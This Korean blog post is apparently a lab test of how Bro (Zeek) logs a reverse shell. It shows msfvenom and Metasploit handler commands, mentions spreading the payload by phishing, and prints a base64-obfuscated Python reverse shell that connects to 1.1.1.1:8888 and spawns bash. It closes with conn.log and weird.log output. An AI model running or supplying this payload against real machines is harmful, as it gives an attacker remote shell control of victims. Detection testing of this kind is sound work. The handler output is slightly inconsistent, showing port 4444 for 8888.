reverse shell 통신시 bro에 로그가 어떻게 남는지 확인하기 위해 테스트 한 내용이다.


+ 테스트 환경

- kali linux(attacker pc)

- mac osx mojave(victim pc)



1. Attacker PC 


- metasploit 실행후 reverse shell 파일 생성

msf > use exploit/multi/handler msf exploit(handler) > msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py [*] exec: msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=8888 > -f raw > shell.py No platform was selected, choosing Msf::Module::Platform::Unix from the payload No Arch selected, selecting Arch: cmd from the payload No encoder or badchars specified, outputting raw payload Payload size: 569 bytes


- 방금 생성한 shell.py 유포 (피싱)


- reverse shell 파일 생성시 사용했던 포트 그대로 오픈한다.

  현재 1.1.1.1 Attacker PC의 8888 포트를 오픈한 상태.


msf exploit(handler) > set payload cmd/unix/reverse_python payload => cmd/unix/reverse_python msf exploit(handler) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 msf exploit(handler) > set LPORT 8888 LPORT => 4444 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 1.1.1.1 yes The listen address LPORT 4444 yes The listen port SHELL /bin/bash yes The system shell to use. Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8888 [*] Starting the payload handler...

 

2. Victim PC

이제 Victim에서 리버스쉘 파일을 실행


python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICwgICAgIHN1YnByb2Nlc3MgICAgICAsICAgICBvcyAgICAgIDsgICAgICAgICBob3N0PSIxLjEuMS4xIiAgICAgIDsgICAgICAgICBwb3J0PTg4ODggICAgICA7ICAgICAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgLCAgICAgc29ja2V0LlNPQ0tfU1RSRUFNKSAgICAgIDsgICAgICAgICBzLmNvbm5lY3QoKGhvc3QgICAgICAsICAgICBwb3J0KSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMCkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMSkgICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgMikgICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp'.decode('base64'))"



Attacker PC에서 확인해보면 아래와 같이 쉘이 떨어졌고 커맨드 실행 결과를 확인할 수 있다.


3. BRO 로그 확인

- conn.log -

local_orig가 True local_resp가 False 이외에 다른 특이한건 없다.
session history는 다른 정상 통신에서도 많이 확인 내용..

이걸로 뭘 탐지한다는건 무리..


|source_type=BRO_connLog|time=2019-01-23 11:18:04|SRCIP=172.26.101.103|SRCPORT=52327|DSTIP=1.1.1.1|DSTPORT=8888|protocol=tcp|service=-|duration=7.359974|orig_bytes=5|resp_bytes=0|conn_state=SF|local_orig=T|local_resp=F|history=ShADaFf|orig_pkts=5|orig_ip_bytes=277|resp_pkts=3|resp_ip_bytes=164|tunnel_parents=(empty)


통신 포트를 웹에서 사용하는 포트 비스무레하게 변경하면 weired log에서 unknown_http , bad_http 로 인지가 가능하긴 하다.


통신 포트를 8888로 변경후 테스트한 결과 weired.log에 아래와 같이 남는다.

1548209891.693055 CdnplJz4oNCdFV623 172.26.101.103 52327 1.1.1.1 8888 bad_HTTP_request - F worker-1-18

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unescaped_special_URI_char - F worker-1-9

1548210260.998129 CjMDhq438mrlFw2SP1 172.26.101.103 52456 1.1.1.1 8888 unknown_HTTP_method Darwin F worker-1-9




+ Recent posts